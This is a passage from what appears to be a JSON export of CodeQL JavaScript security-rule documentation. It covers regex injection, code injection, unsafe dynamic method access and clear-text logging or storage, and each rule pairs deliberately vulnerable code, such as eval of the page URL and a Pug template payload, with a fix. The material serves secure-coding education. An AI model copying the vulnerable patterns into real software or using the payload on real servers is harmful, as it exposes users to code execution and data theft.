${req.query.filePath}`); // BAD crashes the server\n  }\n  // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    if (err) {\n      console.error(\n        `Server setup is corrupted, ${rootDir} cannot be accessed!`\n      );\n      res.status(500);\n      res.end();\n      return;\n    }\n    save(rootDir, req.query.path, req.body);\n    res.status(200);\n    res.end();\n  });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    // ...\n    try {\n      save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n      res.status(200);\n      res.end();\n    } catch (e) {\n      res.status(500);\n      res.end();\n    }\n  });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n  try {\n    await fs.promises.access(rootDir);\n    save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n    res.status(200);\n    res.end();\n  } catch (e) {\n    res.status(500);\n    res.end();\n  }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n"},"properties":{"tags":["security","external/cwe/cwe-248","external/cwe/cwe-730"],"description":"A server that can be forced to crash may be vulnerable to denial-of-service\n              attacks.","id":"js/server-crash","kind":"path-problem","name":"Server crash","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/regex-injection","name":"js/regex-injection","shortDescription":{"text":"Regular expression injection"},"fullDescription":{"text":"User input should not be used in regular expressions without first being escaped, otherwise a malicious user may be able to inject an expression that could require exponential time on certain inputs."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // BAD: Unsanitized user input is used to construct a regular expression\n  var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // GOOD: User input is sanitized before constructing the regex\n  var safeKey = _.escapeRegExp(key);\n  var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n","markdown":"# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // BAD: Unsanitized user input is used to construct a regular expression\n  var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // GOOD: User input is sanitized before constructing the regex\n  var safeKey = _.escapeRegExp(key);\n  var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"},"properties":{"tags":["security","external/cwe/cwe-730","external/cwe/cwe-400"],"description":"User input should not be used in regular expressions without first being escaped,\n              otherwise a malicious user may be able to inject an expression that could require\n              exponential time on certain inputs.","id":"js/regex-injection","kind":"path-problem","name":"Regular expression injection","precision":"high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/code-injection","name":"js/code-injection","shortDescription":{"text":"Code injection"},"fullDescription":{"text":"Interpreting unsanitized user input as code allows a malicious user arbitrary code execution."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello `+ input\n    var fn = pug.compile(template);\n    var html = fn();\n    res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello #{username}`\n    var fn = pug.compile(template);\n    var html = fn({username: input});\n    res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello `+ input\n    var fn = pug.compile(template);\n    var html = fn();\n    res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello #{username}`\n    var fn = pug.compile(template);\n    var html = fn({username: input});\n    res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-094","external/cwe/cwe-095","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Interpreting unsanitized user input as code allows a malicious user arbitrary\n              code execution.","id":"js/code-injection","kind":"path-problem","name":"Code injection","precision":"high","problem.severity":"error","security-severity":"9.3"}},{"id":"js/bad-code-sanitization","name":"js/bad-code-sanitization","shortDescription":{"text":"Improper code sanitization"},"fullDescription":{"text":"Escaping code as HTML does not provide protection against code injection."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Improper code sanitization\nUsing string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker.\n\n\n## Recommendation\nIf using `JSON.stringify` or an HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters.\n\n\n## Example\nThe example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains `</script>`, then the generated code will break out of a `</script>` if inserted into a `</script>` tag.\n\n\n```javascript\nfunction createObjectWrite() {\n    const assignment = `obj[${JSON.stringify(key)}]=42`;\n    return `(function(){${assignment}})` // NOT OK\n}\n```\nThe issue has been fixed by escaping potentially dangerous characters, as shown below.\n\n\n```javascript\nconst charMap = {\n    '<': '\\\\u003C',\n    '>' : '\\\\u003E',\n    '/': '\\\\u002F',\n    '\\\\': '\\\\\\\\',\n    '\\b': '\\\\b',\n    '\\f': '\\\\f',\n    '\\n': '\\\\n',\n    '\\r': '\\\\r',\n    '\\t': '\\\\t',\n    '\\0': '\\\\0',\n    '\\u2028': '\\\\u2028',\n    '\\u2029': '\\\\u2029'\n};\n\nfunction escapeUnsafeChars(str) {\n    return str.replace(/[<>\\b\\f\\n\\r\\t\\0\\u2028\\u2029]/g, x => charMap[x])\n}\n\nfunction createObjectWrite() {\n    const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`;\n    return `(function(){${assignment}})` // OK\n}\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Improper code sanitization\nUsing string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker.\n\n\n## Recommendation\nIf using `JSON.stringify` or an HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters.\n\n\n## Example\nThe example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains `</script>`, then the generated code will break out of a `</script>` if inserted into a `</script>` tag.\n\n\n```javascript\nfunction createObjectWrite() {\n    const assignment = `obj[${JSON.stringify(key)}]=42`;\n    return `(function(){${assignment}})` // NOT OK\n}\n```\nThe issue has been fixed by escaping potentially dangerous characters, as shown below.\n\n\n```javascript\nconst charMap = {\n    '<': '\\\\u003C',\n    '>' : '\\\\u003E',\n    '/': '\\\\u002F',\n    '\\\\': '\\\\\\\\',\n    '\\b': '\\\\b',\n    '\\f': '\\\\f',\n    '\\n': '\\\\n',\n    '\\r': '\\\\r',\n    '\\t': '\\\\t',\n    '\\0': '\\\\0',\n    '\\u2028': '\\\\u2028',\n    '\\u2029': '\\\\u2029'\n};\n\nfunction escapeUnsafeChars(str) {\n    return str.replace(/[<>\\b\\f\\n\\r\\t\\0\\u2028\\u2029]/g, x => charMap[x])\n}\n\nfunction createObjectWrite() {\n    const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`;\n    return `(function(){${assignment}})` // OK\n}\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-094","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Escaping code as HTML does not provide protection against code injection.","id":"js/bad-code-sanitization","kind":"path-problem","name":"Improper code sanitization","precision":"high","problem.severity":"error","security-severity":"6.1"}},{"id":"js/unsafe-dynamic-method-access","name":"js/unsafe-dynamic-method-access","shortDescription":{"text":"Unsafe dynamic method access"},"fullDescription":{"text":"Invoking user-controlled methods on certain objects can lead to remote code execution."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Unsafe dynamic method access\nCalling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property.\n\n\n## Recommendation\nAvoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on.\n\n\n## Example\nIn the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`.\n\n\n```javascript\n// API methods\nfunction play(data) {\n  // ...\n}\nfunction pause(data) {\n  // ...\n}\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function \n    window[message.name](message.payload);\n});\n\n```\nInstead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`.\n\n\n```javascript\n// API methods\nlet api = {\n  play: function(data) {\n    // ...\n  },\n  pause: function(data) {\n    // ...\n  }\n};\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function\n    if (!api.hasOwnProperty(message.name)) {\n      return;\n    }\n    api[message.name](message.payload);\n});\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties).\n* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n","markdown":"# Unsafe dynamic method access\nCalling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property.\n\n\n## Recommendation\nAvoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on.\n\n\n## Example\nIn the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`.\n\n\n```javascript\n// API methods\nfunction play(data) {\n  // ...\n}\nfunction pause(data) {\n  // ...\n}\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function \n    window[message.name](message.payload);\n});\n\n```\nInstead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`.\n\n\n```javascript\n// API methods\nlet api = {\n  play: function(data) {\n    // ...\n  },\n  pause: function(data) {\n    // ...\n  }\n};\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function\n    if (!api.hasOwnProperty(message.name)) {\n      return;\n    }\n    api[message.name](message.payload);\n});\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties).\n* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n"},"properties":{"tags":["security","external/cwe/cwe-094"],"description":"Invoking user-controlled methods on certain objects can lead to remote code execution.","id":"js/unsafe-dynamic-method-access","kind":"path-problem","name":"Unsafe dynamic method access","precision":"high","problem.severity":"error","security-severity":"9.3"}},{"id":"js/clear-text-logging","name":"js/clear-text-logging","shortDescription":{"text":"Clear-text logging of sensitive information"},"fullDescription":{"text":"Logging sensitive information without encryption or hashing can expose it to an attacker."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${JSON.stringify(process.env)}`);\n\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${JSON.stringify(not_sensitive_data)}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n","markdown":"# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${JSON.stringify(process.env)}`);\n\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${JSON.stringify(not_sensitive_data)}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n"},"properties":{"tags":["security","external/cwe/cwe-312","external/cwe/cwe-359","external/cwe/cwe-532"],"description":"Logging sensitive information without encryption or hashing can\n              expose it to an attacker.","id":"js/clear-text-logging","kind":"path-problem","name":"Clear-text logging of sensitive information","precision":"high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/build-artifact-leak","name":"js/build-artifact-leak","shortDescription":{"text":"Storage of sensitive information in build artifact"},"fullDescription":{"text":"Including sensitive information in a build artifact can expose it to an attacker."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            \"process.env\": JSON.stringify(process.env)\n        })\n    ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n        })\n    ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n","markdown":"# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            \"process.env\": JSON.stringify(process.env)\n        })\n    ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n        })\n    ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"},"properties":{"tags":["security","external/cwe/cwe-312","external/cwe/cwe-315","external/cwe/cwe-359"],"description":"Including sensitive information in a build artifact can\n              expose it to an attacker.","id":"js/build-artifact-leak","kind":"path-problem","name":"Storage of sensitive information in build artifact","precision":"high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/clear-text-storage-of-sensitive-data","name":"js/clear-text-storage-of-sensitive-data","shortDescription":{"text":"Clear text storage of sensitive information"},"fullDescription":{"text":"Sensitive information stored without encryption or hashing can expose it to an attacker."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // BAD: Setting a cookie value with cleartext sensitive data.\n  res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n    password = getPassword();\n\nfunction encrypt(text){\n  var cipher = crypto.createCipher('aes-256-ctr', password);\n  return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // GOOD: Encoding the value before setting it.\n  res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n","markdown":"# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // BAD: Setting a cookie value with cleartext sensitive data.\n  res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n    password = getPassword();\n\nfunction encrypt(text){\n  var cipher = crypto.createCipher('aes-256-ctr', password);\n  return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // GOOD: Encoding the value before setting it.\n  res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"},"properties":{"tags":["security","external/cwe/cwe-312","external/cwe/cwe-315","external/cwe/cwe-359"],"description":"Sensitive information stored without encryption or hashing can expose it to an\n              attacker.","id":"js/clear-text-storage-of-sensitive-data","kind":"path-problem","name":"Clear text storage of sensitive information","precision":"high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/disabling-certificate-validation","name":"js/disabling-certificate-validation","shortDescription":{"text":"Disabling certificate validation"},"fullDescription":{"text":"Disabling cryptographic certificate validation can cause security vulnerabilities."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation 